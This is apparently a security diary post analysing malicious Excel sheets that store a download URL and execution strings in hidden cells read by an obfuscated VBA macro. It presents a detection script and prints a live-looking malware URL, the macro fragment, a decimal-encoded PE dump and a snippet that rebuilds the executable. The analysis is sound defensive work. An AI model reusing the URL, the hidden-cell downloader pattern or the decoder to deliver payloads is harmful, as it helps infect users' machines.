Hunting for Malicious Excel Sheets
Recently, I found a malicious Excel sheet which contained a VBA macro. One particularity of this file was that useful information was stored in cells. The VBA macro read and used them to download the malicious PE file. The Excel file looked classic, asking the user to enable macros:
But below, around the 1000th row, some cells were hidden:
Once expanded, they revealed interesting values:
The macro code used the contain of those cells:
yryrysdhahshdfkjfkslksdlkfllskjdflkjsdflslksdjkf = kjjhkhdskhsdhsdjvjsdffdjgjgsjdfsjdf(0, Sheets(1).Cells(1000, 2), "C:\Temp\" & Sheets(1).Cells(1001, 2)), 0, 0) kjhadkjhfkasjhdkfjhakjhfkasjhdf = Sheets(1).Cells(1004, 2)sdlkjfgksjdfkjhdkjfgkjsfdhjghjdfgwscript = Sheets(1).Cells(1003, 2) kjfdkkjgnknngndg = Sheets(1).Cells(1002, 2)
The rest of the macro was, as usual, to download the malicious PE file, to store it on the disk and to execute it. The PE file has a VT score of 10/60 [1]
This is not the first time that I saw this way of passing data to the macro. It’s easy to configure campaigns with many URLs and samples without touching the macro. I had a bunch of 400 malicious Excel sheets to inspect. To search for such hidden content, I wrote a quick Python script[2] based on the XLRD[3] module. Yes, Python has third-party modules for almost any task! The goal is to detect two techniques to hide data:
- Hidden cells
- Cells using the same colour for the text & background (ex: white on white to make it unreadable)
Here is an example based on the XLS sheet analysed above:
$ ./hidden.py 1.xls|more Number of sheets: 3 --- Processing sheet 0 (????1) --- [ 5/ 8] 'Document created in earlier version of Microsoft Office Excel' [ 7/ 8] 'To view this content, please click "Enable Editing" form the yellow bar and then click "Enable Content"' [ 999/ 0] [H] 'Url' [ 999/ 1] [H] 'http://astrasunxc.top/read.php?f=chrome_update.exe' [ 1000/ 0] [H] 'Name_file' [ 1000/ 1] [H] 'myfile.exe' [ 1001/ 1] [H] 'cript' [ 1002/ 1] [H] '.Shell' [ 1003/ 1] [H] 'ws' --- Processing sheet 1 (????2) --- [ 0/ 0] 'Company Name' [ 0/ 4] 'INVOICE' [ 1/ 0] '[Street Address]' [ 2/ 0] '[City, ST ZIP]' [ 3/ 0] 'Phone: [000-000-0000]' [ 4/ 0] 'Fax: [000-000-0000]' [ 8/ 0] 'BILL TO' [ 9/ 0] '[Name]' [ 10/ 0] '[Company Name]' [ 11/ 0] '[Street Address]' [ 12/ 0] '[City, ST ZIP]' [ 13/ 0] '[Phone]' [ 15/ 0] 'DESCRIPTION' [ 15/ 4] ‘TAXED' [ 15/ 5] 'AMOUNT' [ 16/ 0] '[Service Fee]' [ 16/ 5] '230.0' [ 17/ 0] '[Labor: 5 hours at $75/hr]' [ 17/ 5] '375.0' [ 18/ 0] '[Parts]' [ 18/ 4] 'X' [ 18/ 5] '345.0' [ 23/ 3] '[42]' [ 23/ 4] 'Subtotal' [ 23/ 5] '950.0' [ 24/ 4] 'Taxable' [ 24/ 5] '345.0' [ 25/ 0] 'OTHER COMMENTS' [ 25/ 4] 'Tax rate' [ 25/ 5] '0.0625' [ 26/ 0] '1. Total payment due in 30 days' [ 26/ 4] 'Tax due' [ 26/ 5] '21.56' [ 27/ 0] '2. Please include the invoice number on your check' [ 27/ 4] 'Other' [ 28/ 4] 'TOTAL' [ 28/ 5] '971.56' [ 30/ 4] 'Make all checks payable to’ [ 31/ 4] '[Your Company Name]' --- Processing sheet 2 (????3) ---
A lighter output (use the -q/—quiet argument):
$ ./hidden.py -q 1.xls Number of sheets: 3 --- Processing sheet 0 (????1) --- [ 999/ 0] [H] 'Url' [ 999/ 1] [H] 'http://astrasunxc.top/read.php?f=chrome_update.exe' [ 1000/ 0] [H] 'Name_file' [ 1000/ 1] [H] 'myfile.exe' [ 1001/ 1] [H] 'cript' [ 1002/ 1] [H] '.Shell' [ 1003/ 1] [H] 'ws' --- Processing sheet 1 (????2) --- --- Processing sheet 2 (????3) ---
I scanned the 400 samples and found another one which looked interesting. Some cells contained the following value:
77,90,144,0,3,0,0,0,4,0,0,0,255,255,0,0,184,0,0,0,0,0,0,0,64,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,240,0,0,0,14,31,186,14,0,180,9,205,33,184,1,76,205,33,84,104,105,115,32,112,114,111,103,114,97,109,32,99,97,110,110,111,116,32, 98,101,32,114,117,110,32,105,110,32,68,79,83,32,109,111,100,101,46,13,13,10,36,0,0,0,0,0,0,0,240,105,109,3,180,8,3,80,180,8,3,80, 180,8,3,80,147,206,120,80,183,8,3,80,180,8,2,80,189,8,3,80,147,206,126,80,176,8,3,80,147,206,110,80,190,8,3,80,147,206,121,80,181, 8,3,80,147,206,127,80,181,8,3,80,147,206,123,80,181,8,3,80,82,105,99,104,180,8,3,80,82,105,99,104,51,0,145,193,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,80,69,0,0,76,1,4,0,21,150,213,85,0,0,0,0,0,0,0,0,224,0,3,1,11,1,0,1,0,64,1,0,0,192,0,0,0,0,0,0,80,169, 0,0,0,16,0,0,0,80,1,0,0,0,64,0,0,16,0,0,0,16,0,0,4,0,0,0,0,0,0,0,4,0,0,0,0,0,0,0,0,176,2,0,0,16,0,0,0,0,0,0,2,0,0,128,0,0,16,0,0, 16,0,0,0,0,16,0,0,16,0,0,0,0,0,0,16,0,0,0,176,208,1,0,70,0,0,0,244,194,1,0,44,1,0,0,0,16,2,0,52,152,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,136,194,1,0,64,0,0,0,0,0,0,0,0,0,0,0,0,80,1, 0,168,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,46,116,101,120,116,0,0,0,110,63,1,0,0,16,0,0,0,64,1,0,0,16,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,33,0,0,96,46,114,100,97,116,97,0,0,246,128,0,0,0,80,1,0,0,144,0,0,0,80,1,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,0,64,46,100, 97,116,97,0,0,0,196,34,0,0,0,224,1,0,0,16,0,0,0,224,1,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,0,192,46,114,115,114,99, ...
As you can see, it starts with ’77’ and ’90 which are the ASCII representation of the letters 'MZ'. This is a PE file dump. It can be easily decoded in a few lines of Python:
f = open(‘sample.exe’, ‘wb') buffer = ’77,90,144, ….’ for c in buffer.split(‘,’): f.write(chr(int(c))) f.close()
I also converted the standalone script into a Viper module[4]:
viper > find name 1.xls +---+-------+--------------------------+----------------------------------+------------------------+ | # | Name | Mime | MD5 | Tags | +---+-------+--------------------------+----------------------------------+------------------------+ | 1 | 1.xls | application/vnd.ms-excel | e6190b79db7b32e9a34bc4ee473209c8 | spam, embedded_win_api | +---+-------+--------------------------+----------------------------------+------------------------+ viper > open -l 1 [*] Session opened on /home/nonroot/.viper/binaries/5/2/c/f/52cf6415c7763bede4af3cfc6543a4557d6ff5cb9fd02b5ed239352f005a8c39 viper 1.xls > excel [*] Sheet 0 +------+-----+--------+---------------------------------------------------------------------------------------------------------+ | Row | Col | Status | Value | +------+-----+--------+---------------------------------------------------------------------------------------------------------+ | 5 | 8 | | Document created in earlier version of Microsoft Office Excel | | 7 | 8 | | To view this content, please click "Enable Editing" form the yellow bar and then click "Enable Content" | | 999 | 0 | Hidden | Url | | 999 | 1 | Hidden | http://astrasunxc.top/read.php?f=chrome_update.exe | | 1000 | 0 | Hidden | Name_file | | 1000 | 1 | Hidden | myfile.exe | | 1001 | 1 | Hidden | cript | | 1002 | 1 | Hidden | .Shell | | 1003 | 1 | Hidden | ws | +------+-----+--------+---------------------------------------------------------------------------------------------------------+ [*] Sheet 1 +-----+-----+--------+----------------------------------------------------+ | Row | Col | Status | Value | +-----+-----+--------+----------------------------------------------------+ ...
As you can see, bad guys also use data stored in the document itself and access it from the VBA code. I also saw a few times white text on white background in Word documents. Happy hunting!
[1] https://www.virustotal.com/file/3626729fe8a77f74f4f6da58d5fb474d9c774dff3494063c5f8b4fc50f908585/analysis/1491843226/
[2] https://github.com/xme/toolbox/blob/master/xls_hidden.py
[3] https://github.com/python-excel/xlrd
[4] https://github.com/xme/toolbox/blob/master/excel.py
Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key
Reverse-Engineering Malware: Malware Analysis Tools and Techniques | Frankfurt | Dec 9th - Dec 14th 2024 |
Comments